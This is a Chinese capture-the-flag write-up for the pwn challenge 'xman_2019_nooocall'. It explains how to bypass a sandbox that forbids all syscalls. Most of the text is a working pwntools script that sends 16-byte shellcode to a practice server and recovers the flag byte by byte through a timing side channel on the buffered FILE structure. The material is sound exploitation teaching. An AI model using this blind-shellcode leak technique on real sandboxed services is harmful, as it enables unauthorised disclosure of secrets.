xman_2019_nooocall
首先,检查一下程序的保护机制
沙箱机制禁用了所有的系统调用
然后,我们用IDA分析一下,我们可以输入并执行16字节shellcode。然后问题在于系统调用全部被禁用。
程序一开始的时候使用了fopen打开了flag,并且将flag读取到了内存里。然后,当执行shellcode的时候,我们发现,栈里有FILE结构体的地址。
FILE是带有缓冲区的,文件flag的内容会被缓冲在内存里。
因此,我们可以写一个盲注的shellcode,将字符一个一个的猜测比较。
#coding:utf8
from pwn import *
import time
context(os='linux',arch='amd64',log_level = 'critical')
#flag里面可能出现的字符
possible_char = []
#字符的顺序可以影响效率,让频率最高的字符放前面
for x in range(0,10):
possible_char.append(str(x))
for x in range(ord('a'),ord('z')+1):
possible_char.append(chr(x))
possible_char.append('{')
possible_char.append('-')
possible_char.append('}')
possible_char.append('\x00')
OK = False
flag = ''
index = 0
while not OK:
print 'guess (',index,') char'
length = len(flag)
for guess_char in possible_char:
#sh = process('./xman_2019_nooocall')
sh = remote('node3.buuoj.cn',28942)
#盲注,如果猜对了,程序会处于一个死循环
shellcode_blind = asm('''mov rax,[rsp+0x10]
mov rax,[rax+0x18]
mov al,byte ptr[rax+%d]
cmp al,%d
jz $-0x2
''' % (index,ord(guess_char)))
sh.sendlineafter('Your Shellcode >>',shellcode_blind)
start = time.time()
sh.can_recv_raw(timeout = 3)
end = time.time()
sh.close()
#根据网络延迟,作相应的修改
if end - start > 3:
if guess_char == '\x00':
OK = True
flag += guess_char
print 'success guess char at(',index,')'
index+=1
break
print 'flag=',flag
if length == len(flag):
OK = True
print 'ojbk!'